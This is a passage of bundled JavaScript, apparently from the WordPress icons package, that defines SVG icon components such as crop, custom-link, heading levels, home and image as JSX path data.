  var crop_default = /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(import_primitives38.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(import_primitives38.Path, { d: &quot;M18 20v-2h2v-1.5H7.75a.25.25 0 0 1-.25-.25V4H6v2H4v1.5h2v8.75c0 .966.784 1.75 1.75 1.75h8.75v2H18ZM9.273 7.5h6.977a.25.25 0 0 1 .25.25v6.977H18V7.75A1.75 1.75 0 0 0 16.25 6H9.273v1.5Z&quot; }) });

  // packages/icons/build-module/library/custom-link.mjs
  var import_primitives39 = __toESM(require_primitives(), 1);
  var import_jsx_runtime40 = __toESM(require_jsx_runtime(), 1);
  var custom_link_default = /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(import_primitives39.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(import_primitives39.Path, { d: &quot;M12.5 14.5h-1V16h1c2.2 0 4-1.8 4-4s-1.8-4-4-4h-1v1.5h1c1.4 0 2.5 1.1 2.5 2.5s-1.1 2.5-2.5 2.5zm-4 1.5v-1.5h-1C6.1 14.5 5 13.4 5 12s1.1-2.5 2.5-2.5h1V8h-1c-2.2 0-4 1.8-4 4s1.8 4 4 4h1zm-1-3.2h5v-1.5h-5v1.5zM18 4H9c-1.1 0-2 .9-2 2v.5h1.5V6c0-.3.2-.5.5-.5h9c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5v-.5H7v.5c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2z&quot; }) });

  // packages/icons/build-module/library/custom-post-type.mjs
  var import_primitives40 = __toESM(require_primitives(), 1);
  var import_jsx_runtime41 = __toESM(require_jsx_runtime(), 1);
  var custom_post_type_default = /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(import_primitives40.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(import_primitives40.Path, { d: &quot;M4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4zm.8-4l.7.7 2-2V12h1V9.2l2 2 .7-.7-2-2H12v-1H9.2l2-2-.7-.7-2 2V4h-1v2.8l-2-2-.7.7 2 2H4v1h2.8l-2 2z&quot; }) });

  // packages/icons/build-module/library/details.mjs
  var import_primitives41 = __toESM(require_primitives(), 1);
  var import_jsx_runtime42 = __toESM(require_jsx_runtime(), 1);
  var details_default = /* @__PURE__ */ (0, import_jsx_runtime42.jsxs)(import_primitives41.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime42.jsx)(import_primitives41.Path, { d: &quot;M4 16h10v1.5H4V16Zm0-4.5h16V13H4v-1.5ZM10 7h10v1.5H10V7Z&quot;, fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime42.jsx)(import_primitives41.Path, { d: &quot;m4 5.25 4 2.5-4 2.5v-5Z&quot; })
  ] });

  // packages/icons/build-module/library/external.mjs
  var import_primitives42 = __toESM(require_primitives(), 1);
  var import_jsx_runtime43 = __toESM(require_jsx_runtime(), 1);
  var external_default = /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(import_primitives42.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(import_primitives42.Path, { d: &quot;M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z&quot; }) });

  // packages/icons/build-module/library/file.mjs
  var import_primitives43 = __toESM(require_primitives(), 1);
  var import_jsx_runtime44 = __toESM(require_jsx_runtime(), 1);
  var file_default = /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(import_primitives43.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(import_primitives43.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z&quot; }) });

  // packages/icons/build-module/library/footer.mjs
  var import_primitives44 = __toESM(require_primitives(), 1);
  var import_jsx_runtime45 = __toESM(require_jsx_runtime(), 1);
  var footer_default = /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(import_primitives44.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(import_primitives44.Path, { fillRule: &quot;evenodd&quot;, d: &quot;M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot; }) });

  // packages/icons/build-module/library/format-indent-rtl.mjs
  var import_primitives45 = __toESM(require_primitives(), 1);
  var import_jsx_runtime46 = __toESM(require_jsx_runtime(), 1);
  var format_indent_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(import_primitives45.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(import_primitives45.Path, { d: &quot;M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM20.0303 9.03033L17.0607 12L20.0303 14.9697L18.9697 16.0303L15.4697 12.5303L14.9393 12L15.4697 11.4697L18.9697 7.96967L20.0303 9.03033Z&quot; }) });

  // packages/icons/build-module/library/format-indent.mjs
  var import_primitives46 = __toESM(require_primitives(), 1);
  var import_jsx_runtime47 = __toESM(require_jsx_runtime(), 1);
  var format_indent_default = /* @__PURE__ */ (0, import_jsx_runtime47.jsx)(import_primitives46.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime47.jsx)(import_primitives46.Path, { d: &quot;M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-8-3.5l3 3-3 3 1 1 4-4-4-4-1 1z&quot; }) });

  // packages/icons/build-module/library/format-list-bullets-rtl.mjs
  var import_primitives47 = __toESM(require_primitives(), 1);
  var import_jsx_runtime48 = __toESM(require_jsx_runtime(), 1);
  var format_list_bullets_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(import_primitives47.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(import_primitives47.Path, { d: &quot;M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z&quot; }) });

  // packages/icons/build-module/library/format-list-bullets.mjs
  var import_primitives48 = __toESM(require_primitives(), 1);
  var import_jsx_runtime49 = __toESM(require_jsx_runtime(), 1);
  var format_list_bullets_default = /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_primitives48.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_primitives48.Path, { d: &quot;M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z&quot; }) });

  // packages/icons/build-module/library/format-list-numbered-rtl.mjs
  var import_primitives49 = __toESM(require_primitives(), 1);
  var import_jsx_runtime50 = __toESM(require_jsx_runtime(), 1);
  var format_list_numbered_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(import_primitives49.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(import_primitives49.Path, { d: &quot;M3.8 15.8h8.9v-1.5H3.8v1.5zm0-7h8.9V7.2H3.8v1.6zm14.7-2.1V10h1V5.3l-2.2.7.3 1 .9-.3zm1.2 6.1c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5H20v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3 0-.8-.3-1.1z&quot; }) });

  // packages/icons/build-module/library/format-list-numbered.mjs
  var import_primitives50 = __toESM(require_primitives(), 1);
  var import_jsx_runtime51 = __toESM(require_jsx_runtime(), 1);
  var format_list_numbered_default = /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(import_primitives50.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(import_primitives50.Path, { d: &quot;M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM5 6.7V10h1V5.3L3.8 6l.4 1 .8-.3zm-.4 5.7c-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-1c.3-.6.8-1.4.9-2.1.1-.3 0-.8-.2-1.1-.5-.6-1.3-.5-1.7-.4z&quot; }) });

  // packages/icons/build-module/library/format-ltr.mjs
  var import_primitives51 = __toESM(require_primitives(), 1);
  var import_jsx_runtime52 = __toESM(require_jsx_runtime(), 1);
  var format_ltr_default = /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(import_primitives51.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(import_primitives51.Path, { d: &quot;M3 9c0 2.8 2.2 5 5 5v-.2V20h1.5V5.5H12V20h1.5V5.5h3V4H8C5.2 4 3 6.2 3 9Zm15.9-1-1.1 1 2.6 3-2.6 3 1.1 1 3.4-4-3.4-4Z&quot; }) });

  // packages/icons/build-module/library/format-outdent-rtl.mjs
  var import_primitives52 = __toESM(require_primitives(), 1);
  var import_jsx_runtime53 = __toESM(require_jsx_runtime(), 1);
  var format_outdent_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime53.jsx)(import_primitives52.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime53.jsx)(import_primitives52.Path, { d: &quot;M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM15.4697 14.9697L18.4393 12L15.4697 9.03033L16.5303 7.96967L20.0303 11.4697L20.5607 12L20.0303 12.5303L16.5303 16.0303L15.4697 14.9697Z&quot; }) });

  // packages/icons/build-module/library/format-outdent.mjs
  var import_primitives53 = __toESM(require_primitives(), 1);
  var import_jsx_runtime54 = __toESM(require_jsx_runtime(), 1);
  var format_outdent_default = /* @__PURE__ */ (0, import_jsx_runtime54.jsx)(import_primitives53.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime54.jsx)(import_primitives53.Path, { d: &quot;M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-4-4.6l-4 4 4 4 1-1-3-3 3-3-1-1z&quot; }) });

  // packages/icons/build-module/library/fullscreen.mjs
  var import_primitives54 = __toESM(require_primitives(), 1);
  var import_jsx_runtime55 = __toESM(require_jsx_runtime(), 1);
  var fullscreen_default = /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(import_primitives54.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(import_primitives54.Path, { d: &quot;M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z&quot; }) });

  // packages/icons/build-module/library/gallery.mjs
  var import_primitives55 = __toESM(require_primitives(), 1);
  var import_jsx_runtime56 = __toESM(require_jsx_runtime(), 1);
  var gallery_default = /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(import_primitives55.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(import_primitives55.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M16.375 4.5H4.625a.125.125 0 0 0-.125.125v8.254l2.859-1.54a.75.75 0 0 1 .68-.016l2.384 1.142 2.89-2.074a.75.75 0 0 1 .874 0l2.313 1.66V4.625a.125.125 0 0 0-.125-.125Zm.125 9.398-2.75-1.975-2.813 2.02a.75.75 0 0 1-.76.067l-2.444-1.17L4.5 14.583v1.792c0 .069.056.125.125.125h11.75a.125.125 0 0 0 .125-.125v-2.477ZM4.625 3C3.728 3 3 3.728 3 4.625v11.75C3 17.273 3.728 18 4.625 18h11.75c.898 0 1.625-.727 1.625-1.625V4.625C18 3.728 17.273 3 16.375 3H4.625ZM20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z&quot; }) });

  // packages/icons/build-module/library/grid.mjs
  var import_primitives56 = __toESM(require_primitives(), 1);
  var import_jsx_runtime57 = __toESM(require_jsx_runtime(), 1);
  var grid_default = /* @__PURE__ */ (0, import_jsx_runtime57.jsx)(import_primitives56.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime57.jsx)(import_primitives56.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;m3 5c0-1.10457.89543-2 2-2h13.5c1.1046 0 2 .89543 2 2v13.5c0 1.1046-.8954 2-2 2h-13.5c-1.10457 0-2-.8954-2-2zm2-.5h6v6.5h-6.5v-6c0-.27614.22386-.5.5-.5zm-.5 8v6c0 .2761.22386.5.5.5h6v-6.5zm8 0v6.5h6c.2761 0 .5-.2239.5-.5v-6zm0-8v6.5h6.5v-6c0-.27614-.2239-.5-.5-.5z&quot; }) });

  // packages/icons/build-module/library/group.mjs
  var import_primitives57 = __toESM(require_primitives(), 1);
  var import_jsx_runtime58 = __toESM(require_jsx_runtime(), 1);
  var group_default = /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(import_primitives57.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(import_primitives57.Path, { d: &quot;M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z&quot; }) });

  // packages/icons/build-module/library/header.mjs
  var import_primitives58 = __toESM(require_primitives(), 1);
  var import_jsx_runtime59 = __toESM(require_jsx_runtime(), 1);
  var header_default = /* @__PURE__ */ (0, import_jsx_runtime59.jsx)(import_primitives58.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime59.jsx)(import_primitives58.Path, { d: &quot;M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot; }) });

  // packages/icons/build-module/library/heading-level-1.mjs
  var import_primitives59 = __toESM(require_primitives(), 1);
  var import_jsx_runtime60 = __toESM(require_jsx_runtime(), 1);
  var heading_level_1_default = /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_primitives59.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_primitives59.Path, { d: &quot;M17.6 7c-.6.9-1.5 1.7-2.6 2v1h2v7h2V7h-1.4zM11 11H7V7H5v10h2v-4h4v4h2V7h-2v4z&quot; }) });

  // packages/icons/build-module/library/heading-level-2.mjs
  var import_primitives60 = __toESM(require_primitives(), 1);
  var import_jsx_runtime61 = __toESM(require_jsx_runtime(), 1);
  var heading_level_2_default = /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(import_primitives60.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(import_primitives60.Path, { d: &quot;M9 11.1H5v-4H3v10h2v-4h4v4h2v-10H9v4zm8 4c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6v1.5h8v-2H17z&quot; }) });

  // packages/icons/build-module/library/heading-level-3.mjs
  var import_primitives61 = __toESM(require_primitives(), 1);
  var import_jsx_runtime62 = __toESM(require_jsx_runtime(), 1);
  var heading_level_3_default = /* @__PURE__ */ (0, import_jsx_runtime62.jsx)(import_primitives61.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime62.jsx)(import_primitives61.Path, { d: &quot;M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.3 1.7c-.4-.4-1-.7-1.6-.8v-.1c.6-.2 1.1-.5 1.5-.9.3-.4.5-.8.5-1.3 0-.4-.1-.8-.3-1.1-.2-.3-.5-.6-.8-.8-.4-.2-.8-.4-1.2-.5-.6-.1-1.1-.2-1.6-.2-.6 0-1.3.1-1.8.3s-1.1.5-1.6.9l1.2 1.4c.4-.2.7-.4 1.1-.6.3-.2.7-.3 1.1-.3.4 0 .8.1 1.1.3.3.2.4.5.4.8 0 .4-.2.7-.6.9-.7.3-1.5.5-2.2.4v1.6c.5 0 1 0 1.5.1.3.1.7.2 1 .3.2.1.4.2.5.4s.1.4.1.6c0 .3-.2.7-.5.8-.4.2-.9.3-1.4.3s-1-.1-1.4-.3c-.4-.2-.8-.4-1.2-.7L13 15.6c.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.6 0 1.1-.1 1.6-.2.4-.1.9-.2 1.3-.5.4-.2.7-.5.9-.9.2-.4.3-.8.3-1.2 0-.6-.3-1.1-.7-1.5z&quot; }) });

  // packages/icons/build-module/library/heading-level-4.mjs
  var import_primitives62 = __toESM(require_primitives(), 1);
  var import_jsx_runtime63 = __toESM(require_jsx_runtime(), 1);
  var heading_level_4_default = /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_primitives62.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_primitives62.Path, { d: &quot;M20 13V7h-3l-4 6v2h5v2h2v-2h1v-2h-1zm-2 0h-2.8L18 9v4zm-9-2H5V7H3v10h2v-4h4v4h2V7H9v4z&quot; }) });

  // packages/icons/build-module/library/heading-level-5.mjs
  var import_primitives63 = __toESM(require_primitives(), 1);
  var import_jsx_runtime64 = __toESM(require_jsx_runtime(), 1);
  var heading_level_5_default = /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(import_primitives63.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(import_primitives63.Path, { d: &quot;M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.7 1.2c-.2-.3-.5-.7-.8-.9-.3-.3-.7-.5-1.1-.6-.5-.1-.9-.2-1.4-.2-.2 0-.5.1-.7.1-.2.1-.5.1-.7.2l.1-1.9h4.3V7H14l-.3 5 1 .6.5-.2.4-.1c.1-.1.3-.1.4-.1h.5c.5 0 1 .1 1.4.4.4.2.6.7.6 1.1 0 .4-.2.8-.6 1.1-.4.3-.9.4-1.4.4-.4 0-.9-.1-1.3-.3-.4-.2-.7-.4-1.1-.7 0 0-1.1 1.4-1 1.5.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.5 0 1-.1 1.5-.3s.9-.4 1.3-.7c.4-.3.7-.7.9-1.1s.3-.9.3-1.4-.1-1-.3-1.4z&quot; }) });

  // packages/icons/build-module/library/heading-level-6.mjs
  var import_primitives64 = __toESM(require_primitives(), 1);
  var import_jsx_runtime65 = __toESM(require_jsx_runtime(), 1);
  var heading_level_6_default = /* @__PURE__ */ (0, import_jsx_runtime65.jsx)(import_primitives64.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime65.jsx)(import_primitives64.Path, { d: &quot;M20.7 12.4c-.2-.3-.4-.6-.7-.9s-.6-.5-1-.6c-.4-.2-.8-.2-1.2-.2-.5 0-.9.1-1.3.3s-.8.5-1.2.8c0-.5 0-.9.2-1.4l.6-.9c.2-.2.5-.4.8-.5.6-.2 1.3-.2 1.9 0 .3.1.6.3.8.5 0 0 1.3-1.3 1.3-1.4-.4-.3-.9-.6-1.4-.8-.6-.2-1.3-.3-2-.3-.6 0-1.1.1-1.7.4-.5.2-1 .5-1.4.9-.4.4-.8 1-1 1.6-.3.7-.4 1.5-.4 2.3s.1 1.5.3 2.1c.2.6.6 1.1 1 1.5.4.4.9.7 1.4.9 1 .3 2 .3 3 0 .4-.1.8-.3 1.2-.6.3-.3.6-.6.8-1 .2-.5.3-.9.3-1.4s-.1-.9-.3-1.3zm-2 2.1c-.1.2-.3.4-.4.5-.1.1-.3.2-.5.2-.2.1-.4.1-.6.1-.2.1-.5 0-.7-.1-.2 0-.3-.2-.5-.3-.1-.2-.3-.4-.4-.6-.2-.3-.3-.7-.3-1 .3-.3.6-.5 1-.7.3-.1.7-.2 1-.2.4 0 .8.1 1.1.3.3.3.4.7.4 1.1 0 .2 0 .5-.1.7zM9 11H5V7H3v10h2v-4h4v4h2V7H9v4z&quot; }) });

  // packages/icons/build-module/library/heading.mjs
  var import_primitives65 = __toESM(require_primitives(), 1);
  var import_jsx_runtime66 = __toESM(require_jsx_runtime(), 1);
  var heading_default = /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(import_primitives65.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(import_primitives65.Path, { d: &quot;M6 5V18.5911L12 13.8473L18 18.5911V5H6Z&quot; }) });

  // packages/icons/build-module/library/home.mjs
  var import_primitives66 = __toESM(require_primitives(), 1);
  var import_jsx_runtime67 = __toESM(require_jsx_runtime(), 1);
  var home_default = /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(import_primitives66.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(import_primitives66.Path, { d: &quot;M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z&quot; }) });

  // packages/icons/build-module/library/html.mjs
  var import_primitives67 = __toESM(require_primitives(), 1);
  var import_jsx_runtime68 = __toESM(require_jsx_runtime(), 1);
  var html_default = /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(import_primitives67.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(import_primitives67.Path, { d: &quot;M4.8 11.4H2.1V9H1v6h1.1v-2.6h2.7V15h1.1V9H4.8v2.4zm1.9-1.3h1.7V15h1.1v-4.9h1.7V9H6.7v1.1zM16.2 9l-1.5 2.7L13.3 9h-.9l-.8 6h1.1l.5-4 1.5 2.8 1.5-2.8.5 4h1.1L17 9h-.8zm3.8 5V9h-1.1v6h3.6v-1H20z&quot; }) });

  // packages/icons/build-module/library/image.mjs
  var import_primitives68 = __toESM(require_primitives(), 1);
  var import_jsx_runtime69 = __toESM(require_jsx_runtime(), 1);
  var image_default = /* @__PURE__ */ (0, import_jsx_runtime69.jsx)(import_primitives68.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime69.jsx)(import_primitives68.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z&quot; }) });

  // packages/icons/build-module/library/keyboard-return.mjs
  var import_primitives69 = __toESM(require_primitives(), 1);
  var import_jsx_runtime70 = __toESM(require_jsx_runtime(), 1);
  var keyboard_return_default = /* @__PURE__ */ (0, import_jsx_runtime70.jsx)(import_primitives69.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime70.jsx)(import_primitives69.Path, { d: &quot;m6.734 16.106 2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.158 1.093-1.028-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734Z&quot; }) });

  // packages/icons/build-module/library/layout.mjs
  var import_primitives70 = __toESM(require_primitives(), 1);
  var import_jsx_runtime71 = __toESM(require_jsx_runtime(), 1);
